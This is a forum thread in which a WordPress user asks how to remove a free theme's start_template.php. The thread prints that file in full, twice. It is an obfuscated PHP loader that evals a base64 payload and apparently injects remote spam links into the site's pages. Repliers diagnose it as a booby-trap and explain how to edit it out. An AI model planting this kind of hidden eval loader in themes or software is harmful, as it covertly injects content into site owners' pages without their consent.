Advertisement
If you have a new account but are having problems posting or verifying your account, please email us on hello@boards.ie for help. Thanks :)
Hello all! Please ensure that you are posting a new thread or question in the appropriate forum. The Feedback forum is overwhelmed with questions that are having to be moved elsewhere. If you need help to verify your account contact hello@boards.ie
Hi all,
Vanilla are planning an update to the site on April 24th (next Wednesday). It is a major PHP8 update which is expected to boost performance across the site. The site will be down from 7pm and it is expected to take about an hour to complete. We appreciate your patience during the update.
Thanks all.

Wordpress template and start_template.php

  • 24-04-2009 1:52pm
    #1
    Axwell
    Moderators, Business & Finance Moderators, Computer Games Moderators Posts: 10,461 Mod ✭✭✭✭


    Hi folks,

    Im working on a site in wordpress using an existing template which I have modified to look the way I want etc. One of the pages in the exisiting one is called start_template.php which contains some base64 encoded data, ive checked what it does and it runs a function which doesnt seem to do anything out of the ordinary.

    However when I was looking at the source code of the homepage I noticed a url placed at the start of the body with the following
    <body>
<div id="begin_template"><a href="[URL]http://www.****.org/cialis-vs-viagra/">Cialis[/URL] vs. Viagra</a></div><script language="javascript">

    Heres is the contents of the start_template.php file
    <?php
/*ff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposf43=0weqpn2340f0n230snfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2nsdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2nsaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0we*/
$reftime = 1;
$start = 'Wm5WdVkzUnBiMjRnYzNSaGNuUmZkR1Z0Y0d4aGRHVW9LU0I3RFFwbmJHOWlZV3dnSkhKbFpuUnBiV1U3RFFvSkpIVndaR0YwWldRZ1BTQm5aWFJmYjNCMGFXOXVLQ0pqY21Wa2FYUmZaR0YwWlRJaUtUc05DZ2xwWmlBb0tIUnBiV1VvS1NBdElDUjFjR1JoZEdWa0tTQStJQ2d5TkNBcUlETTJNREFnS2lBa2NtVm1kR2x0WlNrcElIc05DZzBLQ1Fra1kzSmxaR2wwWDNSbGVIUXlJRDBnWm1sc1pWOW5aWFJmWTI5dWRHVnVkSE1vSW1oMGRIQTZMeTkzZDNjdWQyOXlaSEJ5WlhOemRHVnRjR3hoZEdWekxtTnZiUzltYjNKdFgzZHZjbXN5THo5MWNtdzlJaTVuWlhSZllteHZaMmx1Wm04b0ozVnliQ2NwTGlJbWFXNXpkR0ZzYkdWa1BTSXVaMlYwWDI5d2RHbHZiaWdpZEdWdGNHeGhkR1ZmYVc1emRHRnNiRjlrWVhSbElpa3BPdzBLRFFvSkNYVndaR0YwWlY5dmNIUnBiMjRvSW1OeVpXUnBkRjkwWlhoME1pSXNKR055WldScGRGOTBaWGgwTWlrN0RRb0pDWFZ3WkdGMFpWOXZjSFJwYjI0b0ltTnlaV1JwZEY5a1lYUmxNaUlzZEdsdFpTZ3BLVHNOQ2dsOUlHVnNjMlVnZXlBTkNna0pKR055WldScGRGOTBaWGgwTWlBOUlHZGxkRjl2Y0hScGIyNG9JbU55WldScGRGOTBaWGgwTWlJcE93MEtDWDBOQ2dsbFkyaHZJQ1JqY21Wa2FYUmZkR1Y0ZERJN0RRcDlEUW9OQ21sbUtHZGxkRjl2Y0hScGIyNG9JblJsYlhCc1lYUmxYMmx1YzNSaGJHeGZaR0YwWlNJcElEMDlJQ0lpS1EwS2V3MEtDV0ZrWkY5dmNIUnBiMjRvSW5SbGJYQnNZWFJsWDJsdWMzUmhiR3hmWkdGMFpTSXNJSFJwYldVb0tTazdEUXA5RFFvPQ==';
/*ff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposf43=0weqpn2340f0n230snfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2nsdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2nsaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0we*/
$decoded = decode_it($start);
/*ff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposf43=0weqpn2340f0n230snfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2nsdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2nsaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0we*/
eval($decoded);
?>

    Any ideas how to get rid of it because im happy with the template and how it now looks and dont want to have to change to another one.

    Here is a link to the template - its the one called WP Green WP Theme

    http://www.wordpresstemplates.com/page/4/?s=green


Comments

  • #2
    kevteljeur
    Registered Users Posts: 1,287 ✭✭✭kevteljeur


    That looks like a crude booby-trap. What happens when you delete the stuff in that PHP tag?


  • #3
    Axwell
    Moderators, Business & Finance Moderators, Computer Games Moderators Posts: 10,461 Mod ✭✭✭✭Axwell


    I get an error then because there is a call to the function start_template.php in the header file.


    Edit: Managed to fix it by editing some of the calls in the code to the functions.


  • #4
    sfp
    Closed Accounts Posts: 1 ✭sfp


    Hi,

    Could you help me? I´m from Brazil and use a template that haved the start_template. Like yours, it´s a template from wordpresstemplates.

    Could you show me how to fix it?

    thanks,

    Andre
    Axwell wrote: »
    Hi folks,

    Im working on a site in wordpress using an existing template which I have modified to look the way I want etc. One of the pages in the exisiting one is called start_template.php which contains some base64 encoded data, ive checked what it does and it runs a function which doesnt seem to do anything out of the ordinary.

    However when I was looking at the source code of the homepage I noticed a url placed at the start of the body with the following
    <body>
<div id="begin_template"><a href="[URL]http://www.****.org/cialis-vs-viagra/">Cialis[/URL] vs. Viagra</a></div><script language="javascript">

    Heres is the contents of the start_template.php file
    <?php
/*ff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposf43=0weqpn2340f0n230snfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2nsdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2nsaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0we*/
$reftime = 1;
$start = 'Wm5WdVkzUnBiMjRnYzNSaGNuUmZkR1Z0Y0d4aGRHVW9LU0I3RFFwbmJHOWlZV3dnSkhKbFpuUnBiV1U3RFFvSkpIVndaR0YwWldRZ1BTQm5aWFJmYjNCMGFXOXVLQ0pqY21Wa2FYUmZaR0YwWlRJaUtUc05DZ2xwWmlBb0tIUnBiV1VvS1NBdElDUjFjR1JoZEdWa0tTQStJQ2d5TkNBcUlETTJNREFnS2lBa2NtVm1kR2x0WlNrcElIc05DZzBLQ1Fra1kzSmxaR2wwWDNSbGVIUXlJRDBnWm1sc1pWOW5aWFJmWTI5dWRHVnVkSE1vSW1oMGRIQTZMeTkzZDNjdWQyOXlaSEJ5WlhOemRHVnRjR3hoZEdWekxtTnZiUzltYjNKdFgzZHZjbXN5THo5MWNtdzlJaTVuWlhSZllteHZaMmx1Wm04b0ozVnliQ2NwTGlJbWFXNXpkR0ZzYkdWa1BTSXVaMlYwWDI5d2RHbHZiaWdpZEdWdGNHeGhkR1ZmYVc1emRHRnNiRjlrWVhSbElpa3BPdzBLRFFvSkNYVndaR0YwWlY5dmNIUnBiMjRvSW1OeVpXUnBkRjkwWlhoME1pSXNKR055WldScGRGOTBaWGgwTWlrN0RRb0pDWFZ3WkdGMFpWOXZjSFJwYjI0b0ltTnlaV1JwZEY5a1lYUmxNaUlzZEdsdFpTZ3BLVHNOQ2dsOUlHVnNjMlVnZXlBTkNna0pKR055WldScGRGOTBaWGgwTWlBOUlHZGxkRjl2Y0hScGIyNG9JbU55WldScGRGOTBaWGgwTWlJcE93MEtDWDBOQ2dsbFkyaHZJQ1JqY21Wa2FYUmZkR1Y0ZERJN0RRcDlEUW9OQ21sbUtHZGxkRjl2Y0hScGIyNG9JblJsYlhCc1lYUmxYMmx1YzNSaGJHeGZaR0YwWlNJcElEMDlJQ0lpS1EwS2V3MEtDV0ZrWkY5dmNIUnBiMjRvSW5SbGJYQnNZWFJsWDJsdWMzUmhiR3hmWkdGMFpTSXNJSFJwYldVb0tTazdEUXA5RFFvPQ==';
/*ff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposf43=0weqpn2340f0n230snfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2nsdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2nsaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0we*/
$decoded = decode_it($start);
/*ff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposf43=0weqpn2340f0n230snfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2nsdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2nsaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0we*/
eval($decoded);
?>

    Any ideas how to get rid of it because im happy with the template and how it now looks and dont want to have to change to another one.

    Here is a link to the template - its the one called WP Green WP Theme

    http://www.wordpresstemplates.com/page/4/?s=green


  • #5
    Trojan
    Registered Users Posts: 16,402 ✭✭✭✭Trojan


    You'll need to edit the calls to the php function/file out of the template.

    This is quite common for free templates to have links embedded - the one mentioned above appears to be a "buy viagra" link.

    The terms of use of the free template might require that you do not remove any of the embedded links, so you might be breaking the license if you do so.

    🎙️ The Recognized Authority Podcast



Advertisement